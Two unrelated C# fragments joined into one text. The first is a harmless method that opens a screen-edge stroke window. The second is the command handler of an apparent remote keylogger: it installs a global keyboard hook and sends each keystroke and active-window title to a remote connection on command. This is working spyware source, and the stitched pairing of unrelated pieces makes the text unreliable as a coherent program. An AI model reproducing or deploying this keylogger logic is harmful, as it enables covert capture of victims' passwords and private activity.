protected void StartMagic() { var screen = GetScreenFromSide(_movedoutside); Strokewindow = new StrokeWindow(screen.WorkingArea.Height, _movedoutside == Side.Left ? WpfScreen.MostLeftX : WpfScreen.MostRightX, screen.WorkingArea.Top, _movedoutside); Strokewindow.Show(); Strokewindow.MouseMove += strokewindow_MouseMove; Strokewindow.MouseLeave += strokewindow_MouseLeave; Strokewindow.MouseDown += strokewindow_MouseDown; _activewindowhook.Hook(); _activewindowhook.RaiseOne(); //If the current window is fullscreen, the event wouldn't be raised (because nothing changed) MouseWasOver = false; }
public override void ProcessCommand(byte[] parameter, IConnectionInfo connectionInfo) { switch ((LiveKeyloggerCommunication) parameter[0]) { case LiveKeyloggerCommunication.Start: #if DEBUG Program.AsyncOperation.Post(state => #endif #if !DEBUG Program.AppContext.AsyncOperation.Post(state => #endif { if (_keyboardHook == null) { _keyboardHook = new KeyboardHook(); _keyboardHook.StringDown += (sender, args) => { if (args.IsChar) { ResponseBytes((byte) LiveKeyloggerCommunication.StringDown, Encoding.UTF8.GetBytes(args.Value), connectionInfo); } else { var key = (Keys) args.VCode; var specialKey = KeyLoggerService.KeysToSpecialKey(key); var entry = specialKey == 0 ? (KeyLogEntry) new StandardKey((Shared.Commands.Keylogger.Keys) key, true) : new SpecialKey(specialKey, true); ResponseBytes((byte) LiveKeyloggerCommunication.SpecialKeyDown, new Serializer(new[] {typeof (KeyLogEntry), typeof (SpecialKey), typeof (StandardKey)}).Serialize( entry), connectionInfo); } }; _keyboardHook.StringUp += (sender, args) => { if (args.IsChar) return; var key = (Keys) args.VCode; var specialKey = KeyLoggerService.KeysToSpecialKey(key); var entry = specialKey == 0 ? (KeyLogEntry) new StandardKey((Shared.Commands.Keylogger.Keys) key, false) : new SpecialKey(specialKey, false); ResponseBytes((byte) LiveKeyloggerCommunication.SpecialKeyUp, new Serializer(new[] {typeof (KeyLogEntry), typeof (SpecialKey), typeof (StandardKey)}).Serialize(entry), connectionInfo); }; } if (_activeWindowHook == null) { _activeWindowHook = new ActiveWindowHook(); _activeWindowHook.ActiveWindowChanged += (sender, args) => { ResponseBytes((byte) LiveKeyloggerCommunication.WindowChanged, Encoding.UTF8.GetBytes(args.Title), connectionInfo); }; _activeWindowHook.RaiseOne(); } _keyboardHook.Hook(); }, null); break; case LiveKeyloggerCommunication.Stop: Dispose(); break; default: throw new ArgumentOutOfRangeException(); } }